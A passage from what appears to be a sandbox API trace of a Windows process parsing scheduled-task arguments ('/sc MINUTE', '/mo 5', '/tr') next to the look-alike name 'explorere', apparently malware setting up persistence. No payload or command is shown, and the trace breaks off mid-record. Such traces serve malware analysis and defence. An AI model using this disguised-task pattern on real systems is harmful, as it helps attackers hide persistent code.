returned 0x73cd904000 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] lstrlenW (lpString="explorere") returned 9 [0116.959] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] lstrlenW (lpString="explorere") returned 9 [0116.959] GetProcessHeap () returned 0x2556b0d0000 [0116.959] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x14) returned 0x2556b0d3b30 [0116.959] GetProcessHeap () returned 0x2556b0d0000 [0116.959] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db4f0 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] lstrlenW (lpString="/sc") returned 3 [0116.959] lstrlenW (lpString="-/") returned 2 [0116.959] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.959] lstrlenW (lpString="?") returned 1 [0116.959] lstrlenW (lpString="?") returned 1 [0116.959] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.959] lstrlenW (lpString="sc") returned 2 [0116.959] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.959] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.960] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.960] lstrlenW (lpString="|?|") returned 3 [0116.960] lstrlenW (lpString="|sc|") returned 4 [0116.960] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.960] lstrlenW (lpString="create") returned 6 [0116.960] lstrlenW (lpString="create") returned 6 [0116.960] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.960] lstrlenW (lpString="sc") returned 2 [0116.960] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.960] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.960] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.960] lstrlenW (lpString="|create|") returned 8 [0116.960] lstrlenW (lpString="|sc|") returned 4 [0116.960] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0116.960] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.960] lstrlenW (lpString="delete") returned 6 [0116.960] lstrlenW (lpString="delete") returned 6 [0116.960] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.960] lstrlenW (lpString="sc") returned 2 [0116.960] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.960] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|delete|") returned 8 [0116.960] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.960] lstrlenW (lpString="|delete|") returned 8 [0116.960] lstrlenW (lpString="|sc|") returned 4 [0116.960] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0116.960] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.960] lstrlenW (lpString="query") returned 5 [0116.961] lstrlenW (lpString="query") returned 5 [0116.961] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.961] lstrlenW (lpString="sc") returned 2 [0116.961] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.961] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x8, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|query|") returned 7 [0116.961] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.961] lstrlenW (lpString="|query|") returned 7 [0116.961] lstrlenW (lpString="|sc|") returned 4 [0116.961] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0116.961] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.961] lstrlenW (lpString="change") returned 6 [0116.961] lstrlenW (lpString="change") returned 6 [0116.961] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.961] lstrlenW (lpString="sc") returned 2 [0116.961] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.961] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|change|") returned 8 [0116.961] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.961] lstrlenW (lpString="|change|") returned 8 [0116.961] lstrlenW (lpString="|sc|") returned 4 [0116.961] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0116.961] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.961] lstrlenW (lpString="run") returned 3 [0116.961] lstrlenW (lpString="run") returned 3 [0116.961] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.961] lstrlenW (lpString="sc") returned 2 [0116.961] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|run|") returned 5 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.962] lstrlenW (lpString="|run|") returned 5 [0116.962] lstrlenW (lpString="|sc|") returned 4 [0116.962] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0116.962] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.962] lstrlenW (lpString="end") returned 3 [0116.962] lstrlenW (lpString="end") returned 3 [0116.962] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.962] lstrlenW (lpString="sc") returned 2 [0116.962] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|end|") returned 5 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.962] lstrlenW (lpString="|end|") returned 5 [0116.962] lstrlenW (lpString="|sc|") returned 4 [0116.962] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0116.962] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.962] lstrlenW (lpString="showsid") returned 7 [0116.962] lstrlenW (lpString="showsid") returned 7 [0116.962] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.962] lstrlenW (lpString="sc") returned 2 [0116.962] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0xa, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|showsid|") returned 9 [0116.962] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|sc|") returned 4 [0116.962] lstrlenW (lpString="|showsid|") returned 9 [0116.962] lstrlenW (lpString="|sc|") returned 4 [0116.962] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] lstrlenW (lpString="/sc") returned 3 [0116.963] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] lstrlenW (lpString="/sc") returned 3 [0116.963] GetProcessHeap () returned 0x2556b0d0000 [0116.963] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x8) returned 0x2556b0d3b50 [0116.963] GetProcessHeap () returned 0x2556b0d0000 [0116.963] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db910 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] lstrlenW (lpString="MINUTE") returned 6 [0116.963] lstrlenW (lpString="-/") returned 2 [0116.963] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] lstrlenW (lpString="MINUTE") returned 6 [0116.963] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] lstrlenW (lpString="MINUTE") returned 6 [0116.963] GetProcessHeap () returned 0x2556b0d0000 [0116.963] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0d3b70 [0116.963] GetProcessHeap () returned 0x2556b0d0000 [0116.963] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db550 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.963] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.964] lstrlenW (lpString="/mo") returned 3 [0116.964] lstrlenW (lpString="-/") returned 2 [0116.964] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.964] lstrlenW (lpString="?") returned 1 [0116.964] lstrlenW (lpString="?") returned 1 [0116.964] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.964] lstrlenW (lpString="mo") returned 2 [0116.964] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.964] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.964] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.964] lstrlenW (lpString="|?|") returned 3 [0116.964] lstrlenW (lpString="|mo|") returned 4 [0116.964] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.964] lstrlenW (lpString="create") returned 6 [0116.964] lstrlenW (lpString="create") returned 6 [0116.964] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.964] lstrlenW (lpString="mo") returned 2 [0116.964] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.964] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.964] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.964] lstrlenW (lpString="|create|") returned 8 [0116.964] lstrlenW (lpString="|mo|") returned 4 [0116.964] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0116.964] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.964] lstrlenW (lpString="delete") returned 6 [0116.964] lstrlenW (lpString="delete") returned 6 [0116.964] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.965] lstrlenW (lpString="mo") returned 2 [0116.965] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.965] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|delete|") returned 8 [0116.965] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.965] lstrlenW (lpString="|delete|") returned 8 [0116.965] lstrlenW (lpString="|mo|") returned 4 [0116.965] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0116.965] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.965] lstrlenW (lpString="query") returned 5 [0116.965] lstrlenW (lpString="query") returned 5 [0116.965] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.965] lstrlenW (lpString="mo") returned 2 [0116.966] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.966] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x8, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|query|") returned 7 [0116.966] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.966] lstrlenW (lpString="|query|") returned 7 [0116.966] lstrlenW (lpString="|mo|") returned 4 [0116.966] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0116.966] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.966] lstrlenW (lpString="change") returned 6 [0116.966] lstrlenW (lpString="change") returned 6 [0116.966] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.966] lstrlenW (lpString="mo") returned 2 [0116.966] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.966] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|change|") returned 8 [0116.966] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.966] lstrlenW (lpString="|change|") returned 8 [0116.966] lstrlenW (lpString="|mo|") returned 4 [0116.966] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0116.966] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.966] lstrlenW (lpString="run") returned 3 [0116.966] lstrlenW (lpString="run") returned 3 [0116.967] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.967] lstrlenW (lpString="mo") returned 2 [0116.967] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.967] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|run|") returned 5 [0116.967] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.967] lstrlenW (lpString="|run|") returned 5 [0116.967] lstrlenW (lpString="|mo|") returned 4 [0116.967] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0116.967] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.967] lstrlenW (lpString="end") returned 3 [0116.967] lstrlenW (lpString="end") returned 3 [0116.967] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.967] lstrlenW (lpString="mo") returned 2 [0116.967] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.967] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|end|") returned 5 [0116.967] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.967] lstrlenW (lpString="|end|") returned 5 [0116.967] lstrlenW (lpString="|mo|") returned 4 [0116.967] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0116.967] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.967] lstrlenW (lpString="showsid") returned 7 [0116.967] lstrlenW (lpString="showsid") returned 7 [0116.967] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.967] lstrlenW (lpString="mo") returned 2 [0116.967] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.968] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0xa, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|showsid|") returned 9 [0116.968] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|mo|") returned 4 [0116.968] lstrlenW (lpString="|showsid|") returned 9 [0116.968] lstrlenW (lpString="|mo|") returned 4 [0116.968] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] lstrlenW (lpString="/mo") returned 3 [0116.968] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] lstrlenW (lpString="/mo") returned 3 [0116.968] GetProcessHeap () returned 0x2556b0d0000 [0116.968] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x8) returned 0x2556b0d3b90 [0116.968] GetProcessHeap () returned 0x2556b0d0000 [0116.968] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db580 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] lstrlenW (lpString="5") returned 1 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] lstrlenW (lpString="5") returned 1 [0116.968] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.968] lstrlenW (lpString="5") returned 1 [0116.968] GetProcessHeap () returned 0x2556b0d0000 [0116.968] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x4) returned 0x2556b0d3bb0 [0116.968] GetProcessHeap () returned 0x2556b0d0000 [0116.969] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db370 [0116.969] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.969] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.969] lstrlenW (lpString="/tr") returned 3 [0116.969] lstrlenW (lpString="-/") returned 2 [0116.969] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.969] lstrlenW (lpString="?") returned 1 [0116.969] lstrlenW (lpString="?") returned 1 [0116.969] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.969] lstrlenW (lpString="tr") returned 2 [0116.969] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.969] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.969] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.969] lstrlenW (lpString="|?|") returned 3 [0116.969] lstrlenW (lpString="|tr|") returned 4 [0116.969] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.969] lstrlenW (lpString="create") returned 6 [0116.969] lstrlenW (lpString="create") returned 6 [0116.969] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.969] lstrlenW (lpString="tr") returned 2 [0116.969] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.969] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.969] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.969] lstrlenW (lpString="|create|") returned 8 [0116.969] lstrlenW (lpString="|tr|") returned 4 [0116.969] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0116.969] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.970] lstrlenW (lpString="delete") returned 6 [0116.970] lstrlenW (lpString="delete") returned 6 [0116.970] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.970] lstrlenW (lpString="tr") returned 2 [0116.970] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.970] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|delete|") returned 8 [0116.970] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.970] lstrlenW (lpString="|delete|") returned 8 [0116.970] lstrlenW (lpString="|tr|") returned 4 [0116.970] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0116.970] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.970] lstrlenW (lpString="query") returned 5 [0116.970] lstrlenW (lpString="query") returned 5 [0116.970] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.970] lstrlenW (lpString="tr") returned 2 [0116.970] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.970] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x8, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|query|") returned 7 [0116.970] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.970] lstrlenW (lpString="|query|") returned 7 [0116.970] lstrlenW (lpString="|tr|") returned 4 [0116.970] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0116.970] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.970] lstrlenW (lpString="change") returned 6 [0116.970] lstrlenW (lpString="change") returned 6 [0116.970] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.970] lstrlenW (lpString="tr") returned 2 [0116.970] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|change|") returned 8 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.971] lstrlenW (lpString="|change|") returned 8 [0116.971] lstrlenW (lpString="|tr|") returned 4 [0116.971] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0116.971] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.971] lstrlenW (lpString="run") returned 3 [0116.971] lstrlenW (lpString="run") returned 3 [0116.971] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.971] lstrlenW (lpString="tr") returned 2 [0116.971] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|run|") returned 5 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.971] lstrlenW (lpString="|run|") returned 5 [0116.971] lstrlenW (lpString="|tr|") returned 4 [0116.971] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0116.971] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.971] lstrlenW (lpString="end") returned 3 [0116.971] lstrlenW (lpString="end") returned 3 [0116.971] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.971] lstrlenW (lpString="tr") returned 2 [0116.971] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|end|") returned 5 [0116.971] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.971] lstrlenW (lpString="|end|") returned 5 [0116.971] lstrlenW (lpString="|tr|") returned 4 [0116.971] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] lstrlenW (lpString="showsid") returned 7 [0116.972] lstrlenW (lpString="showsid") returned 7 [0116.972] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.972] lstrlenW (lpString="tr") returned 2 [0116.972] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.972] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0xa, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|showsid|") returned 9 [0116.972] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tr|") returned 4 [0116.972] lstrlenW (lpString="|showsid|") returned 9 [0116.972] lstrlenW (lpString="|tr|") returned 4 [0116.972] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] lstrlenW (lpString="/tr") returned 3 [0116.972] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] lstrlenW (lpString="/tr") returned 3 [0116.972] GetProcessHeap () returned 0x2556b0d0000 [0116.972] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x8) returned 0x2556b0d3bd0 [0116.972] GetProcessHeap () returned 0x2556b0d0000 [0116.972] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db7c0 [0116.972] 